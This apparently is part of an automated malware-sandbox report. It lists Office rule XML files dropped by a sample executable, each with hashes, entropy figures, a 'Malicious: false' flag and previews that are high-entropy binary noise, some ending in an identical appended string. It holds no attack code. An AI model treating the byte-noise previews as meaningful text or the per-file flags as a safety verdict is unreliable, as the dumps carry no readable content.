SHA-512:	180F33BCB8E075B4FE11F6FB370F2DC9E3E4E4D19782CD85A6602120390DD88988BB9E48FEF57CBD7B084514EC8DE07D78BC0ADCE35B4C0C7B1F48E2BA1AD3B8
Malicious:	false
Preview:	<?xml...........x..3 ...ji.RI.(X.h.O.=.XJ"X.....&.".fqK\../D...G..t.]c.....3...-3Wi..7.{4.z ...z.....AA.;.....^...d..r...7.]r?`iv.....B=a........,..>.....R.,.J..>....a....j..}8.~..z ..1.4....B-.t0i.A:..gF.o.~.w(\|..."..G......\......h...Y..,_~..Ym.pGT..;...b...Pp....J.4.GnqO.d..q..@W.P4..aP.x.T...<J-...-...H\2.............\..)9....z.].2...Z8.0..I.9..v..:'.3...........f..".f.e/Q1....`.c..R\|...K.% N......+.(.t.Z.F.?..J.].@7..l......s.....u*.:Z..........S..h.?..m.{...M.3.!..=..".0.e.5..w#..Q}.L..k...U.-......U(p%.P..il....B.gijHg..U..6...6H.......\_...e.....TI.A....`Q?..O.-..y....X.A.f..$1.[.K.}......1_...>.=...XO,.w...Kj..d.8...T....x..d?....G.j.M...?b....;.......K[.<.C...f.....<.x.-...3.....S^=..v.j...[#..~6w..]Y.L.H}......._D...l.._p?>+S..OP....u.]^...(..DT...~...F.T....LY........g....b#.I..us....._1Ml..z........q..6......].....A...... ..5F.;...L<...<..J..p...cw...Fq.^;....q...q>....x.j..:..S.+Z.G-o.i...<D.'.Jg.j...t..$`..T.d)hj..j...i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.69685750716696
Encrypted:	false
SSDEEP:	12:BBR8RqcK+gGZo9PaAKMQQDrkc6xnRKzZNcqs+kOgnScHQHzwuOcii9a:BBRHB+gGZo9iADZt6YZL8nfQT1ObD
MD5:	858B4FA7F4385F01C28EB527D8B78390
SHA1:	917867AE990E929A80D9052AC95AAA378BE46F0E
SHA-256:	4D368DA3BCB1244046562531183B9AFB888F65EEB63DFE23E16268D7C05AD22F
SHA-512:	56D6F784A20AC6B286D8676AEF444E465F68B1CA0DBCCB1510EFC594CBD56BA33330274ECABFF8937F24D9602693E648D114BCC2354E045FF29B8C74505211D1
Malicious:	false
Preview:	<?xmlh.:..I.m.Y.6@.v/l.......(.....6.r....7..I&-2L...1.m....."..;..s..zm.;.2..b.y.P..)....}]@=4P.]v...... .@}I)O...D.s..........G......`b_..D_c.......shj.*.?...".....z.u..4f.....KO..n/.x..wg.\|..w..d...All.d(C.Q..E.%._.TN.g.in...7....~.i.wRGS.....m.W...x.j..t#...........o..+.a.+S.D.~.a.A......OBr.@......Z).J0..........2Q.n5.\|...Y...,......D........]x%#.f...P=P2.4.b...1Z<E..R...-`.q.....M..x........h.....U.N=.9.=4sT=...w.._. v.t=..-.d..k..f,cA.em)...S.`...l.E.......Ru....U.i.,g.).f....:.L..J....?...}c.9dw?q.~i..`..Nz..%..$..U.j<..&.@-.<.....I.j.......sJ.z..".i.x.q..-.N.u,.jY....a.$.[..y.uq.....1w{0......Q.eSc....z.z....J%.y.....`....Z.]gZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.678007558950412
Encrypted:	false
SSDEEP:	12:BTUufwc0GTMDUlsl+6/ZKRbqyN+eyaaiD3ZDGQzRRkitggxGoQmuOcii9a:BYyJ0GTMDJEwyjDhGQzRPtgxObD
MD5:	13830EF33966CCDF0393614E6714FA0B
SHA1:	E5546C4C39B459502944D8B4F90BCF1435007DCD
SHA-256:	C45C1538F3C59A71CF2551F782ADBA313AC943D9473BDF1FC92E847FF3731959
SHA-512:	93E390AD3D3BA4D9DA72E626242B1B412401AAC6CFD6F292F225D484E0E4388F47B6598BDCAFE6D7686307B889EF8B9432E0A018E678013EE1765F7F77B3FAFB
Malicious:	false
Preview:	<?xml:...f.....J~r'..Z....9\.L.H..>.O`.cX.r.fE..6.......cf&1)T.%l.$.}Q.D.....\|..z.\.:.dW.44.S..OE.........}..........PBW..l..x.....A.OTXx-......=#). .....f1w.fs.1n\|a.G&>U...zw.K...c^.;W..(.+?Z..I.H.$....6...4l..7.L .xq.q.[.9..#<..`C.j..#p8.`..y3..0.+............".a.. j-..Ed.51..@.j..#.}.]..U.&.YB4.iG.;>}...c.Vo..J..'.3"q.>Z..a...:.Y.T..i4>}8?H..(V..0j..M.i.qu.].U.)...h.Q.A.H.h......G4g...-.tV...U....q.x..>.q..?..q.a0.Is....eW<.!..].U............Q.q.w.n$.ec.t.z....q.....F.(0W.3.nkl....L..t......Y.eQ....=......x2..\`2.Z...8S..zb...4...K@.....{.:P..O. ;I.t.B....W.A....`..m....aG.F.`E......?..HB.Z.B......k..........r..o.h.....u....b.T...j\`.=a..GL...rl..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.872423291743475
Encrypted:	false
SSDEEP:	48:XfKszQ9KHjuf5JRjukh8wk0st8DknP4OPysD:3Q9EyRPt00H+P4OPB
MD5:	C8E1DCBF43B6175C37DE985BC47CA05F
SHA1:	6F2A3AA81EDC034C73D83B583340A6D732EBA380
SHA-256:	3512ECDE24E1079EF18C083DCC11C34CF601F468BFAA180DBD3908F94AA35B76
SHA-512:	FD4FEB22574D05514A57CF1F27B6A9E33A5562B6D03A96A06FD7054C4F37DE5A8886E110BDE26F5C2298B4AA1EF7C903B210A6088E08E2490446702CFD2C5C6A
Malicious:	false
Preview:	<?xml....A.. _..[.w....v..v.={......,H.......vK.Y}.S..f.?B.K<..v4...9k.X...K.Y..~..Wo.......m..d..... ....../......O,8<..96.e!0.....J#><j.O.s4]..['.....)..\|x...u..c...)p..W..C.....O......T.f..q.....4.N.g.......o......2.z.(../.\.CR.EZv`'%..4c..oS.vMhD..QJ..8.u.v.<.u...2.i?#..nr..z...{?..S.I\|=..{d8...Z.K\....F]'...9gU......1.j..'...~.RW....X....Pgc.V.B..+j....O2..z..4.r-.gV. 8q..C.....q.d.F.8X.H.O+5E...4...(......m.n..`.{...E.c.Q.._K....rw.....J..:M.q8r.Mj...i.!.....v..r...L.O,..yD.....n1...[.......&.pk..6....#.....t.Ki.=F........5....bH./..).....0fl'..........K7..<.@8.....,.4..Fe(Z......<.~I.A....E...p..+.(...a.......Q.'.[d.....Y.H...[v..p@e.7Ua..C8D.....K.gT!.B`q...."...\3J...S1.>JDfk..t.....#......^g.-J..FP..s.@c...r....2..m..."~.....C.%........ R.....m.7.2 .9..%..3..p..i.X..X$.....n".n..L.2....\y.M6........i...+...u..f?&......][.r...cn...O.Q...+......_w...4.....9....}j....n.....!"....H....$Ux.\|..G.D..z.-e<.n..o0-.z{lH.....<...f?.6...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.885233154822853
Encrypted:	false
SSDEEP:	48:7neGfS66xJtYS3tyUpuIVLlr99z16L/rsrTedKD:7eGfZ6xJtYS3u+LJ9NTrf
MD5:	0B9710B294ABEF3901CE651424278460
SHA1:	678903637C593A472262227093C785ED35A7851E
SHA-256:	F9BAB6E30E79533FA1BB543E38C6FAE23E19EF68261AA1E2833778B14D301339
SHA-512:	18580D9399665371F4D8E17AF02778190ADF20CCAD00C842B6A3DF28CEA807A05F6E71C7D892CD127DA76254CAE3FBB5FBF65B1929AAAEEB77D23BB2D31EEEAC
Malicious:	false
Preview:	<?xml..-/......2.H\H.\|{..'....O..wT......>..z....[.k8....s7g...&.k[.a."....b>.........{Aq{zf.....hp...C@BC...i.f..rc.{..@...d.&.S.(-.t...g.NP.H.q.....o7P......%N......~.....&.....DR..16,C.E7.76.!;0h.......v6....O)..]_....&.S..=......d .do..@."..PF.....>...#.7...<A>1v....}P...pR9.w..RT.".#..U.u...:..V.M......3_n`.X.K.9$.c.9..64-.#..O.#..Z...'...$....S.m.m..w3..B..j...4."..0..1lEB$..p;..R.t....*.@.0agC+k.$..+NZT....~......+:./.M.&....\|....6..8p.U..q...0.5....#.R-O..c[m%.C..+.vrC...U!..^.......#..Ul7.....[.J2..........ur2.5..2..e..{....=...U...6.#..U...m.=.g6.'Y.zH.fG..3...B.Q-1.....WU....../.d...4"..!.jf........0.C.,M.\.........Y......IU.V._c.?F .0.....^8^....>....u.24x.W..+..yr.=QM...f......J....6].:l.&h.yF........c.........b.e.c.%IN.C.U.cx.../J.{Rm.n.q.-......2..<.!z....$.M.?.n..I.;c.i6..pY.J.....,+...K4....$..;_.',U .,..K...3.'...k..._wI...l.... ..I.;,.....W.]ul.r....x^.UJ.K.[.....}..z.....;(.}hw....t.........F#.!...23)..../.A..dk...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628127005046594
Encrypted:	false
SSDEEP:	3072:s747VPC3SalxVRZw1dtjAJ8QjhPb/rFa99k1UIGPwoUTMR:suxgTvRZAUxjhVq90UI7iR
MD5:	C9749B9F29E2A11B928254FF69D4E21D
SHA1:	316F587C2C113EE626B06F296504A049E31E98AF
SHA-256:	02696EB6C4283A671627C5F89D2DB7B80DB33C98C9C2BD30E580D934F8960B18
SHA-512:	1D7D57702E6DB6F038ED078806C4DACDA3EEC41D7361B9777EF44DCC77AE1F53F8875B0B9B01F5ABF50BE142D4C08718E61E583D1A21CC477E45A66F600E20C8
Malicious:	false
Preview:	<Rule........p......., L.....+...Ac.....3.....v...z.'.../...........~..e.n.n.-o\|...7,..#TQF..r....t./.Kqe=...y....0.X.....U(.#t.HZ.!...?..Tw.......J..v@./.{!."..)c.^.x...Y.0..X..{.t.......V+9..$.~y.....XB..go...K.{.W.......dqp?..V.w.~.v..:.a.};....@...$7.g...Ls..eL....:J......\.5..t........w.C...........r1p.J..,.Z.C...].e...r...l@..F.}..8F]g.g.TxiB..v._..._.6........\..9.......R:......c..)..4.y/......M?_....k..-Z..t.$..9......<. w...?LMs"Y2C.K.s)...?..p..=9.G..~v8......nV........j...*...D.kG..r.q...h n....&.FX@...w..T.......g..$b..G....n...=W..,..........f!y..m^.F.p.d..p5.....?CZ..wr`..x.7&=_...(...7@.....[....<.t\|Cq.%p^..y..;..).V1p.'.....II.....e.g.>.FB i.\k3.n.j6........^..{.=.......]9V....'QgO........U..^.....q.&..Z% ..Q..y.B.d.Xr'..psp...AQ......G:a\.EA..V.I,..;8....g....Mo....r..... .b.......K..8p....l.P..v{..z.I-.=..m.d..Ju..8.c.<.&.-Q.T;.....F.'....q.<.4.rk....P...<.a#E.....[..J....g.....O...=.e...=x(....a...bVs..k.{,.B\|v}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.885061546332008
Encrypted:	false
SSDEEP:	24:hGLj+CXoZjFN4YvgKidIWR9Lf2Zem8PVKya2Kdq87wNMj48HZbS/efnx5boN1kuY:hGX+Cc4gU9aZEKE87waccDj0N1ku7mBD
MD5:	C90F8131BBE97FB97BF5F396777DD41D
SHA1:	7DCCAE9F982C1B72C2F3B9295A92F66BFF2FF82E
SHA-256:	DFFFCA581BA4852BC1F791C95F155A256CB9B271D1564A6C2FFDE673542869AC
SHA-512:	309EE4E78412CDB6F112A067E34501E16E72172F7D44127B4A6A1900F699439CE4D25A1AE9E10BBA553CD58B6C51818B5EB47D16D1CE6086D3C9FF5B0CCF577D
Malicious:	false
Preview:	<?xml..I.<8u....a.#iS..t..3.X.aT.G.g....S.....6f....3.HE..A..x%`n^......V...]S-[..2)4...gX:)x.>F..C....?...!.{../.%.+/$.\U.a.)]i..~z.1.....D".....&.~/K`..,..ZHE%9..u..D..e\|~.N...MF.J.....>....W.'5.....g..),.I...?..<F..g..b..,.y..&......J..j...q...,.za.S=r....B..x../~....X...n.&..V}..d.....;...y3.\|Lq.....v.2.I..DPRsp..L.H..H..L..D..:g....a.h.(.......].r.w..^.8.t2..=0...#.!......q.....Vy....y....N......x..uQ..m...".{.?.a/[...@...o...{.rFF........AU-.o..,....e0.q....Qfe..v.!.ii....1........].N.!..\y...Qk..1......kA...TT..,X.Tw.9....w..q..\i..2..Q...1.....D..I......S....m...-.W][..%}>...a.....%~....W..4..%...9..<Y.......p......:w...n.<}q6...aM.........\.........`$....,i...M.v'4..KS...u=....fs.I.Z.............}...D.d.....uO..h...x.o..#w.$U....R...@.!.Y.E...+.c_..)...,.W......J...WLS.h.t..l...;.s...k......\9P5....AE{...=C....x".<.=)j<....Z..K.u......{.C...;\U.U.#..3.......}..[.Qt. .@`/'...L..uM.:n....\|.2.J......O......rg..RR._..:..=.j>.<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.860057078784875
Encrypted:	false
SSDEEP:	24:YCaciwTdlB7CLpqE7uwJjvKx49IjWe2EGOY1AMnXoPFXgkQRj0PQRrf2zHrTvphY:YxcdIPpnw/XGAMnYUh0ZXpWsZidD
MD5:	FD3B133A5068248B73CC009DF9C7EB09
SHA1:	15C3EFB041D6CF06D2B28B167F6C9DA93F1D0607
SHA-256:	2833CBF877188A3758CF5C18E00C61949932BC92B2362C014F0B15A2D65C3870
SHA-512:	AFB76FB1F29D74FE08B410CDF52F9CAB20B3877A3E50C71053EA2E2A75F38272F41FFED0821CDEB84D720DB81CE01FBFB80CC67A394B925A9AF10CD9474DA006
Malicious:	false
Preview:	<?xml........$[JC$b ....e@ G.N.{.I....7]R->o.......v..L...+.<.Q...`v........ij......n9....,..."....C.T...C2.1.#s.W..2ES.n/..\|.9B&D.17.N............P...D5<.....b..&..z...,..`.^r..I-.Q.6...x..s._....6..8....u.....13..ll......~...xRQ...G...b...?...._F..I........].a.G.?......cn.0#...A.V. .x.R6.Q..b.I.M6a............N....A54t...c...3B........[.1....?.iN...l].=....Q.$~..\|..+W.E.V..o.{... ...\..o..:...=NR.OX_......It..o,.(.,.....\|..N.......Jm.f...4.......S...T..<E%&..H.........=..Z.....'#.6....\|.@....IQ.A.....AM._..p..(.mXz6.Ev.\...\...q....e.n%.....t..C.v..>....G..+.u...)V..NI.2.QT...y..P.\|."h..#IXNe .v.N..k..7\..%y.3.t.Q@M..8.3&........3.-.m.:.D.la.........X:..B.....Z7..cL.GC....R......\%Gq..JXP-..z..]._..."]..P.=....C... ...g..G}F..(.......r..%..f......'.%.M.t... ...O.9N.2.s.Zd..&..'.W..@.k.2.F.......0MAD.P.....Lb...h.W.Z..7..:.o"8Y...95_e.?{B.C\..........].6u....l{.J.\|.@..=C.+.'m...../.^...;m..n"0Z.g.P.1..y.}D(.p...&.."....H'u...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.873508229531922
Encrypted:	false
SSDEEP:	48:0uVIIUl92Qb8l7K6j5oS5n9sIRepcdayC+NbD:0uVB892Qg8SjsIRycdayCQX
MD5:	148F496ADB4E341246AEF65C3DB91D61
SHA1:	CB79A6E74ECDE325440A7C636C4560E5F1BEF132
SHA-256:	E93C235C5E92B52A3768C296E54AFA111461DC8FC742CEEB8B1DA4A1C5E72268
SHA-512:	2741E014AD99857C05E9BDA04D293B169443A0AC5CCFB84885851CD5084556D8298620F6CA452A082EC9E4CF716B51776F87D585D71EFBCE2CC29D675B6A587D
Malicious:	false
Preview:	<?xml..F1.....@u+.o...W[0..lV.k..k..JT .....-6...(.<.....Z..@...qq.%P..\|./#G8q..p5.S..S.....O....5....^....S..F..+d.+f..j......U..S......6. .$._vF.6......r.x................,..~.....]..}.....~.k.cMj...MY@g".........Vr.;...\|=?#.J..P...$.(M....}A.......k.^t.].Y..i.C. ......g.Cy.......... g..vD$p.I..T.j.M..=..j.SKTA..b_a@...B....l]......T.1.(.V.D.....'..l/.S1.m.@. .....8W....#..vW...~.0....V..8.....J3...B=..#d...es.06....pA.B...O..c{.W........y......K.,........iZdl...yKYUH...............k.\|.........x....\|...R.p.L}.9.\|....7.=.&.......B.....g:`....R.J...hg5....3'E..d:q!.5.E.{}..$....L..s/....e....h&=.7.P../.X...\..0.>..;[a..V.=..c1P.'.1..\f...-..S.z.Jku..;.tc`^.^......LK.#....P........T...w..[..Ix...{0......F.G..ip..y}.{R.t.k..U...D7yV...]SB...('...w.jX.B...zY..R......~...O......k.j..,b..)lI;.Z.)t$.n..<.l.....z1's.R..B;..;&k..E.cc4.k. ..V.O...fi.0.(M.P..;)...R...2.0jr..I..FU....Pn-.b....'?...V.....3..W...q<.EO.$.:.-~7%>P.?.D.*..:..p..u.....T.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.887769346103331
Encrypted:	false
SSDEEP:	24:Vf3BLOANW+HRr97QWhhKamaO9B+fVJ9t5oNRKu2BFbjtjCVZn8VmaBJr/GirpHOX:VpNLHRrtQWGaAWf9cx2BF6n8JBx/5dMD
MD5:	9BF4E1E873D0983CEB389E60DF7F5DB5
SHA1:	1785B70ECF0B1637B3D6DDBD2D5228A9F61E5933
SHA-256:	B1D417BE3C5B4A9D48D035B5E20BC6B49AB94D84BC57A62546DF2D1E2B3CDBDC
SHA-512:	6D81EE57385A8C55BFBA0979730A29D2F6F22F5627D6FD10CDCF8CE1F33967CF842259FD14FECA8F52D39433B59EAE7B9053E9D18632C5A6745188C81005A10C
Malicious:	false
Preview:	<?xml.\|.....d..+w..TQ]....W....w.....S..#.w..J:jv.y~...d>..ae...`....m...U..Q..r...R.........@...#.n.8....q6y.F...!.....t.......^QI5...x.+....fK&j....D.OR$M...9......F_......NTGp...Dc.....un.D.Jr...Io...~..M.8.....!=..].Hi.1.Kl.^..+.Z.eHP.^..;..n.J..p..r......."Q.V.L........\...B..rX1.0...e.>O.......51...%.s."nN.E.....O0..A....k.A..#....>.+?...t0y@Es<.....=..&..=.c0gQ"..m...N..V..%..7.....N.VrH..{.n.P$."...T.8.Y5^;..... .R......~.\Z..?..0../.S.....}.=.Fx{....T......i.....2....Z.9........gG....\......,..8C.9......kGS.Z..3.. .L...?1......4..0m8,..1..+...G..].~.....n.1z..N...v..j^..Zf.S..;.~..]XK.T.0.-..q........S..A...r.jw..x..Y .....3.\|..wP..5o.:eYPH.m>.y.....4...,....B..H.D...y.k.ek.....eA.1U.n...#..6..ur..ih>j.P.x9..5....r..H.I..............B....7(...6aTc,..w..b.~..d.....+H.'..0......7.4R.)...!.t....0.......r../"?.-.Cce.}F........._..b.Y...Pg.6Y.rt`5$...!:...t...._.$......LCy..._\|.....zI3.X.......n....L?.%.P..k..."B.27 ,.}....z..\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.891841300118594
Encrypted:	false
SSDEEP:	48:3QTRSGzV1waqApPkiDjctWH51x8NSWzip01D:gwGJ1waqApP3DAkHdfp0N
MD5:	7155B2C8F37EC0FFDF939AEAE485F183
SHA1:	B05E27CCE3DB8EFDDFF3D17802B32FAA2BCE8668
SHA-256:	0FC4DD2A2EEB15648EB84B2D0DC3AFDF81F923BB2FA54F9D17747A1C5966CA13
SHA-512:	2FF4471E12DAFF08AFF60C8AFCD40F0A63A37BDAAC5FEA213824DF496ADFE550EFC1AA142C80461AD4783706E125B0F9BDE87E2089D2E7D3311721D211582520
Malicious:	false
Preview:	<?xml.!..H6o.9.....-...^.6M....,5....N...."..Pf.{?L.[....=?......:!Q..}0.;i.,..WM#V..a<.....#E.'x`(..\......u..6.....wo..&....k =C..r..^.Xt.U....O.&.`.1..d.....%.......`.s...w&.vY{...h.w.....f&R.<...9=..i.x~.]...3Vz....m.....Db..._...........1`m# m.I....0..Ss ..x.......Y.$2$@.A....>.C.d..U.&..k..g.Kq..t...n.7"X. %..!..(s..0Vk.H...i9..c...Gn.;"/@..>.4)....._...F.@-.....7{.M";....S.>l..A/..m..Y....l....wg.H..{6..=....>..Gi.....\...pr.Y.3!.U.C.6..........oP73...@.Z....Y/.S.M....h.\....r..Fz...=.3..W....%.?.....].........?D.R#....i...s.....q..uT...u.h..z.$.......:gk%.Y.K....QC...\|k...GI..7#.\..i......C~5.S...I}.A.n...L6.p..u............./)..D...../..Q..p[!..J.Zg.t.5......5..{.}l.....H..S..._..^kM...[H".~.E......@5R..Z.i1#=.:.G.......:..I...y...PYE.......T.[.........8.p.E..j....g......u.e.k.4..p....$.+..<....yI_...I7.ZNi.XI{.5M.....P..X..z......6_...._k-!..Q>..h...C....F2S.PC@..Y.E.f/.....nQ!.k.U.'..kL.6..x ..]k.....c..8XO.L.....@....,qmw.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.888955005805795
Encrypted:	false
SSDEEP:	24:1pxcFkC8eH2Kl+eCfs5OGzVMJNZmS7GtR1nzH3ckapAqwL9XkjSLH5PiEQLC/ROX:LR0BlI05RVuNtuR1nzck3VXtR3mD
MD5:	B135E31767E60EC0821F1673A44D1647
SHA1:	3F2011A6913191EA2F4E193945813E6A1130DF2F
SHA-256:	7959538F288FC9A6509C19EC9F48A5BB79DE4AC0E64C90B89134A7E06CAA6168
SHA-512:	6A783E83C1CFAFE8D99FCF6E4EA746EEE68C45D4A988DE20669B0B8829B1A502F5BE63CE201C4FB320D4BEBA4A3D429A201F85623166EA05FB09333352C2AAFA
Malicious:	false
Preview:	<?xmlK..5i}.T...).6 .Kv..P...&...f....:E.a.Q.t.^h......x......r..@...bW.S..X6P&..!...E..].R..b....\"%.uV.]......S.._.G.....@cS......../[..^<..\MI......fd.4...M../._..C...}.B.....z..9rn.J.>.{..`...N=N..e.v=..h.4B. .,E.^~...#....:q.,.C..V.[..6.e.....{...W1o.HCDtEr..e.}3EZ..R?.7...n...L..x.#.&..........2`@.......P......6.>\|....s.h+...K...V/.#T.........C.}#.......h.....zD^..#f.........8.k".7....C.5.<.sb_Z.p!aY.......b.d).._....nZH...l\|1N2=ol.c.F.....uC........j."..5.Yh.6..j..#.....hjP.n.%J......g..QO.....QF.qp....y....k.v...;.9:!..P.5..=.n...P..F..PW][...@?K.}..[B.;.0.g2.3.+...)mC(...ak.eD7..T.......`?...?......Y.\........i........6B. .&n....6..v.c.>.$-.R.......c.U...}.3<............T..%..........~}...HY4N.i....H.O....wl...QsW.S..\..=q1..I.1.S.M..?0.x....K^........`F..._{.]...b.....yLl6.$..JO\.....vf.........k2..........H....lV"..V....x.._!...}._.yi*y..B...............V..\D....3..I...f.&.q8...+.m..yq..8..Yj.9.J;.J.a.0c2i.K@...'S.S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.895058805699977
Encrypted:	false
SSDEEP:	48:dhS4V7GFcQtZ+q/7ur1aiNW+vOb3UWG42PJiD:dhS4VCFcQt46urdF+kWG4eJq
MD5:	87DCCC8EC1AA038660154AFACF4860D5
SHA1:	2CB7B09302AC6491FB6704CE11BF04DB686F5BCB
SHA-256:	D6D2132951FE6643EC78629A0995CEC2E5E520027E9E591DFE8E36E8DEF3A7C8
SHA-512:	A3EC85195305585BF480166872EE00CB6EA4A8447F14C58A94836D0056209C14B9D0937A290CA404677851C3779CE4D5B91D9E8D930D9D6C9CA25CCC6AC83249
Malicious:	false
Preview:	<?xml..fx.ei......S.?.N...H.W?...$...l...i.\........\|.......\|..;....'.....Z.\p.x.>.4e....`....s............i.'....j....e....#..2.%........P.r.]..2..%...{In..........Xo..@W:.B~._..3(.?C......WE.V....(....t....&g.6.K.1m..Or..{=....Z-x.........Ow.MM.$..q..B.v......4.+.p6E.4(.......k.2h...f.TK...$......3q)...u......M.$.lM....._.EY....F..%.wg.v<.x..}.y.._........c.h..Wt/w.\...b.....G....s.r..6.gTz..Bn.\|.......Y..8Dz..Y...4.h..=j......`.U(..E.X.<9e...S}_:.....\|.....W...?-.&.n..Z.g.H)a.duW..1....3.J.B.$....+r...{y..I..^......V..R4Ou`...n..r..6N.)U.e.....MpN.H.....9.hMNf..!{&.i!.P.@...^{.q...x.o..%j.....^......_Q..>b....>..v....LXA..._8v....z..."p._........s.C/......@S*em........%....yq:...k\i..0.A..!d...5.4...&.-.@"..r/7..(.8..)$........zD.!.<...4/.mH3...P.l.8.......0..Bj.v..`2[...3..<.s...B.:...<v.@.g.K........E......c....~.GY.=5.#?.M.C...!.-..4obR..%o....JG......;gdW...Kk.S.b....s..Q...et.....Z.C.2=..veMn..^.p#,).&....X......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.882728644508523
Encrypted:	false
SSDEEP:	48:TfrrVAHoRtwYOHrIcDRJ778SAdGf5+u3D:L0MtWVH7Odq9z
MD5:	20DA6BA071A617F96CAD236B00E68911
SHA1:	60156BD6C27EC45E63F2CF40BE0046EF3C26259B
SHA-256:	2EE29E614C6EF37A3B505DFF62D3E6C15BCC8360D133319E5D3CB1D6F10D17A5
SHA-512:	BADFC0B2ACD3445250F2E381CAE97A578CBBB73EC3B52FDBF36030D489F2F38F1B700F870D0C77F46F1F576F50A82E731F03597DE163CD7291F9F0218770BF02
Malicious:	false
Preview:	<?xml....vE.s_:Sn.d...Z4?. .{]1.B}D.]+.H.,...O...tD.Vi...w}.....r.(.....W.N&qZ2.%n.{..q`+.,..n-.q.(.....\|..{...6......'.<+CB).!.....`.2...........DjD..a./.G..,...[i.Y7..z.u...N]jn.....S.........&......Z..,..].-g..LL...{o._...^L...>kDdz...... .....e..c$...H....R.....pKx.v.=ih#C)./....tNv...2P...R...i.....R.....]-.M......9........(CY.S..H...k.Pf...~....>.....$%..+...:>.......c.r.\|....=...U..U.}...[bJ.PS...p...'.>..~......k......4....D...DA%%.s.f.F9.......(.......DG..1..[b.(%.jt....J!6.yo..{X...\..D7...A..NR.N."...W-bt....E..G[.EP..j.".............i.b..e..Cp..;H-..T3. b.\.....HnM.V..}..........8yQ.l...7...rnF......q..[}..V............b........i....\.s.....(h...v,..O.Bl..S...D..I../...U...Wb.R..a.K.Y.\...$.a..,,JG.'..> y...W...[...^..Y.?P=....>+..n..=o6IK....]R.&...G.o:...y/ ......}c#NG...c......>........I.m:o.?y.L...S.......m...F.a..{...L.1.i..G..PC.zW5.q.>..`...w.7)J..J.d&.]....."....P./P.U.>o......2".5...b;!.t....e5..#.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.883277946322552
Encrypted:	false
SSDEEP:	48:ExUWWEznDO21/RVOsfN0DpshpdMFklyWhmedGgmD:sBDP1/H512seFkyWhmc+
MD5:	E2125B526F698ED9A21D7FE56D00B2A9
SHA1:	BD01CF67F68E22263C5DAFB04296447A3FE97BD3
SHA-256:	D76F777C01154525CD84B0433CF0A98CAD11C3D9FE9BEA46E6677743FC0E305F
SHA-512:	2EFB4CA9B0F7FFB6F4822910E0D63286E581D738F0E243C7444126690C6226881AEF36AFB8A3FE1D39A09498D108C7ABAE8924F8CFA50452E159024F6D96FB99
Malicious:	false
